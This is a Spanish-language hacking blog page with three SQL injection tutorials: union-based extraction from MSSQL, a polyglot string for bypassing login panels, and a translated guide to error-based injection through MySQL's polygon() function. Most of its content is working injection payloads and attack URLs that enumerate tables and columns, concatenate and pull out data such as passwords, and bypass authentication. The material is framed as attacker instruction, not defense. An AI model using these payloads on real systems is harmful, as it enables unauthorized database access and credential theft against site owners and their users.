viernes, 19 de febrero de 2016

MSSQL Union Based SQL Injection

Introduccion

La mayoria de las aplicaciones web que usan Miscrosoft SQL SERVER usan como tecnologia ASP/ASPX, en este tutorial si es que se le puede llamar de esa manera veremos como inyectar una pagina que contiene una base de datos Microsoft SQL SERVER. 

Los errores mas comunes que se pueden ver para saber si es vulnerable la aplicacion web, son los siguientes:

 

Detectando el tipo de inyeccion

Agregamos la comilla simple (') y vemos si arroja error... Ok, pero si agregamos comilla doble (") tambien arroja error... Para saber cual de las dos es la correcta agregamos un comentario...

' --+- No Hay error
" --+- Si Hay error

De esta manera, detectamos que la inyeccion es de tipo String. En caso de que quitando la comilla simple o doble, no hubiese habido error seria de tipo entero (Esto por como estan los parametros donde inyectamos).

Podemos agregar diferentes tipos de comentarios, podemos tomar como referencia la pagina de Roberto Salgado






Ahora a contar columnas

Para contar las columnas que tiene usamos ORDER BY... 

' ORDER BY 10000 --+- ERROR
' ORDER BY 10 --+- ERROR
' ORDER BY 1,2 --+- OK


En caso de que este fuera de limite te saldra un mensaje como el siguiente:


En este caso son 2 columnas solamente.


Unir la consulta original con la nuestra

Lo siguiente seria unir la consulta original con la nuestra para ello usaremos... UNION y SELECT para seleccionar datos.

' UNION SELECT 1,2 --+- ERROR

En caso de que tire un error, por usar numeros, podemos sustituir esos valores por nulos.



Es por que no contienen el mismo 'tipo de dato' por lo cual usaremos NULL en cada columna, ejemplo: UNION SELECT null,null,null...

' UNION SELECT null,null --+- OK

Para ver las columnas vulnerables en la web (en caso de que no se muestren) negaremos la primera consulta, en este caso utilizando: and 1=0 lo cual es falso, negando la primera consulta.

' AND 1=0 UNION SELECT null,null --+- OK

Mostrando datos

Usaremos @@version para saber la version que contiene la base de datos, de esta manera podemos saber que base de datos es la que contiene por defecto y estan disponibles.

 

En este caso nos arroja la version Microsoft SQL Server 2000:



Para conocer la base de datos actual utilizamos db_name().

Estas son algunas de las formas que podemos conseguir mas informacion en MSSQL:

@@version - Version Actual
user_name() - Nombre de Usuario Actual
user, system_user, current_user - Nombre de Usuario Actual
db_name() - Base de Datos Actual
@@servername - Nombre del Host


Extrayendo tablas, columnas y datos

Ahora vamos a extraer los nombres de las tablas, la sintaxis es un poco diferente a MySQL:

 
' AND 1=0 UNION SELECT table_name,null from (select top 1 table_name from information_schema.tables order by 1) as shit order by 1 desc --+- OK      

' AND 1=0 UNION SELECT table_name,null from (select top 2 table_name from information_schema.tables order by 1) as shit order by 1 desc --+- OK   

' AND 1=0 UNION SELECT table_name,null from (select top 3 table_name from information_schema.tables order by 1) as shit order by 1 desc --+- OK     


En este caso cambiaremos TOP 1 por TOP 2 y asi sucesivamente, esto es como un LIMIT en MySQL, para limitar los resultados que va arrojando.

La siguiente sintaxis es para extraer las columnas de la tabla que selecciones:

' AND 1=0 UNION SELECT column_name,null from (select top 1 column_name from information_schema.columns where table_name='ELNOMBREDETUTABLA' order by 1) as shit order by 1 desc --+- OK  


' AND 1=0 UNION SELECT column_name,null from (select top 2 column_name from information_schema.columns where table_name='ELNOMBREDETUTABLA' order by 1) as shit order by 1 desc --+- OK  


' AND 1=0 UNION SELECT column_name,null from (select top 3 column_name from information_schema.columns where table_name='ELNOMBREDETUTABLA' order by 1) as shit order by 1 desc --+- OK  


Como anteriormente lo hicimos con el TOP limitamos los resultados.

Por ultimo para extraer los datos en si, solo necesitariamos las tablas y columnas que queremos sacar los datos, y para concatenarlas utilizaremos + (%2b):

' AND 1=0 UNION SELECT TOP 1 COLUMNAXXX%2bCOLUMNAXXX,null from TABLAXXX --+- 

' AND 1=0 UNION SELECT TOP 2 COLUMNAXXX%2bCOLUMNAXXX,null from TABLAXXX --+- 

' AND 1=0 UNION SELECT TOP 3 COLUMNAXXX%2bCOLUMNAXXX,null from TABLAXXX --+-   
    
%2b es lo mismo que + solo que en URLENCODE.    

lunes, 15 de febrero de 2016

[Truco] Autentificarse en un solo disparo

Aveces tenemos que pasar por alto algunos paneles de administracion, y lo hacemos usando or 1=1.

El problema es que no sabemos si tenemos que usar un entero, una sola comilla o doble comilla, ¿pero esto realmente importa?  Puedes checar esta consulta:

or 1-- -' or 1 or '1"or 1 or"


Permite comprobar cualquiera de los terminos anteriores, si es entero, el URL detras de la consulta + nuestra inyeccion quedaria asi:

SELECT * FROM login WHERE id=1 or 1-- -' or 1 or '1"or 1 or" AND username='' AND password=''

El "or 1-- -" se activa, crea una condicion verdadera e ignora el resto de la consulta.

Ahora vamos por la verificacion regular de una Cadena:

SELECT * FROM login WHERE username=' or 1-- -' or 1 or '1"or 1 or" ' ..... 

La parte  "or 1" hace la consulta cierta, y las otras partes son consideradas como la comparacion de cadenas.

Lo mismo con las comillas dobles:

SELECT * FROM login WHERE username=" or 1-- -' or 1 or '1"or 1 or" " .....

Fuente: HackForums

domingo, 14 de febrero de 2016

Error Based SQLi Polygon

Introduccion

El principio de un ataque basado en error es el mismo que uno basado en UNION, un campo de entrada es suministrado en la aplicacion web que es utilizado para construir una consulta contra una base de datos, incluyendo la consulta SQL en el campo de entrada, la cual altera el comportamiento de la consulta original, pero el retorno de datos esta fuera del alcance. Por ejemplo, una funcion de busqueda para encontrar articulos de noticias podria ser capaz de devolver informacion sobre la estructura de la base de datos e incluso campos especificos, tales como contraseñas u otra informacion sensible. 

En un ataque basado en la metodologia UNION es descubrir los datos que estan siendo arrojados por la base de datos para las partes visibles de la aplicacion web y luego la union de la existente como resultado de sus propios datos. Si la pagina solo muestra el primer resultado en el final del conjunto tu puedes alterar las condiciones en las que se ha seleccionado los datos originales para devolver cero como resultado por lo que el conjunto final solo contiene los datos personalizados.

Bajo ciertas condiciones, este metodo puede no funcionar, aqui hay algunos ejemplos:


* Si hay algun tipo de logica para comprobar que el parametro de entrada es valido, esto hace que deje de hacer la declaracion SQL original y seleccione cero resultados. Si estos se encuentran en una pagina web que solo puede mostrar un numero fijo de los resultados a continuacion, los datos agregados son ignorados.

* Si ninguno de los resultados son devueltos a la pantalla directamente, es posible que los resultados podrian ser interpretados a traves de alguna otra logica primero y no aparecera en la pagina como texto sin formato, sino mas bien desencadenar algun otro cambio. 

* Si el punto de entrada de la inyeccion esta dentro de una consulta anidada puede encontrarse con que despues de enumerar el numero de columnas utilizando ORDER BY que un UNION SELECT todavia arroje un numero de columnas no valido, es probable que haya una consulta SELECT anidada.

En estos casos donde no se puede devolver datos arbitrarios de nuevo a la pantalla lo que necesita es cambiar a una inyeccion SQL basada en errores.

Errores de MySQL

Los errores de MySQL pueden ser suprimidos sin embargo si estan habilitados y el mensaje de error se devuelve en la pantalla en cualquier lugar de la aplicacion web tiene otro metodo de extraccion de datos, como el mensaje de error puede contener partes de instruccion SQL y si parte de la declaracion ya ha sido evaludada podria reflejar los datos reales de la base de datos.

Cuando el servidor SQL se presenta con una consulta que resolvera las partes mas anidadas primero antes de evaluar el exterior hasta que se termine toda la consulta o hasta que choca con un error. Esto significa que si una consulta SQL anidada diseñada para crear error, los datos seran seleccionados primero y luego de regreso en pantalla lo mostrara dentro del mensaje de error. Esto es una metodologia basica en una ataque de inyeccion SQL basado en error.

SQL Geometrico

Hay numerosas maneras de realizar Inyecciones SQL basadas en error, un metodo recientemente descubierto implica el uso de las funciones geometricas incorporadas en MySQL. Polygon() le permite definir un poligono dada una serie de vertices o puntos, los puntos se definen como un par de coordenadas X,Y usando doble presicion, por ejemplo:

SQL:

point(10.75,21.37);

Los poligonos se definen como una serie de puntos, por ejemplo:

SQL:
 
polygon((0 0, 1 1, 2 2, 3 3, 4 4),(5 5, 6 6, 7 7, 8 8,9 9)); 

Si proporciona algunos datos mal formados como:

SQL:

polygon(1); 
 
Obtendra un error como el siguiente:
 
Error:

ERROR 1367 (22007): Illegal non geometric '1' value found during parsing

Tenga en cuenta que el valor '1' se refleja de nuevo en el mensaje de error. Vamos a tratar de seleccionar algo que requiere que el servidor SQL para evaluar los datos de la base de datos como la variable version.

SQL:

polygon(select @@version);

Por desgracia, esto nos da el error siguiente: 
  
ERROR 1064 (42000): You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near 'select @@version)' at line 1

En lugar de eso, probemos seleccionar la version en una tabla temporal, que llamaremos 'a' y luego seleccionamos el valor de eso, por ejemplo:

SQL:

polygon(select * from(select @@version)a)

Ahora conseguimos el mensaje de error:

Unknown error: 1367 (Illegal non geometric '(select `a`.`@@version` from (select @@version AS `@@version`) `a`)' value found during parsing).

Esto esta mas cerca de lo que necesitamos, estamos seleccionando el numero de version correcta, que esta siendo evaluada por el servidor SQL, sin embargo, no se devuelve el valor real en el mensaje de error, en lugar de eso se esta devolviendo el nombre por defecto de la tabla temporal, cuando no se indica explicitamente el nombre por defecto es el primer valor de los resultados. Podemos repetir este truco y este unido en otro select por ejemplo:

SQL:

polygon((select * from (select * from (select @@version)a)b))

Ahora estamos seleccionando el valor de la tabla temporal 'a' en una nueva tabla temporal 'b', esto obliga a la tabla 'a' a ser evaluada, ahora, cuando obtenemos un error contiene el numero de version real. Al hacer la seleccion embebida o anidada en la consulta SQL los mas intimos (inner) se evaluan primero por lo que los valores pueden ser utilizados por SELECT exteriores, si el valor que esta tratando de extraer con el uso de SQLi no se ha evaluado en el mensaje de error, basta con utilizar este truco de seleccionar (SELECT) el valor dos veces. El error ahora debe ser algo como esto:

Error:

Unknown error: 1367 (Illegal non geometric '(select `b`.`@@version` from (select '5.50.00' AS `@@version` from dual) `b`)' value found during parsing).         

Ahora podemos notar que en el mensaje de error tenemos los datos legibles tirados desde el servidor, hemos seleccionado la version 5.50.00, de que manera pondriamos esto en un ejemplo ficticio, suponga que existe el parametro noti (el verde es la parte estetica de la direccion URL, el rojo es la entrada proporcionada por el usuario).

URL:

http://urlficticia.com/noticias/index.php?noti=50

Podemos intercambiar el valor 50 para el parametro noti, que se ve asi:

URL:

http://urlficticia.com/noticias/index.php?noti=polygon((select * from (select * from (select @@version)a)b))


Seleccion de los datos

Se puede extender este concepto basico con un SQL arbitrario, por lo que todo los mismos trucos para trazar una base de datos y seleccione los datos de trabajo como es de esperar, si desea seleccionar una lista de tablas del esquema por defecto:

URL:

http://urlficticia.com/noticias/index.php?noti=polygon((select * from (select * from(select group_concat(table_name) from information_schema.tables where table_schema=database())a)b))

Para encontrar las columnas dentro de estas tablas, se puede utilizar lo siguiente NOMBREDELATABLA es el nombre de la tabla que le interesa. Recuerde codificar en hexadecimal el valor.  

URL:

http://urlficticia.com/noticias/index.php?noti=polygon((select * from (select * from(select group_concat(column_name) from information_schema.columns where table_name=NOMBREDELATABLA))a)b))

Y finalmente seleccionamos los datos:

URL:

http://urlficticia.com/noticias/index.php?noti=polygon((select * from (select * from(select group_concat(0x0a,COLUMN1,0x3a,COLUMN2,0x3a,COLUMN3) from NOMBREDELATABLA)a)b))


Este tutorial no es de mi autoria, ha sido una traduccion de: http://frostyhacks.blogspot.co.uk/2014/11/error-you-have-sqli-in-your-polygons.html


Saludos!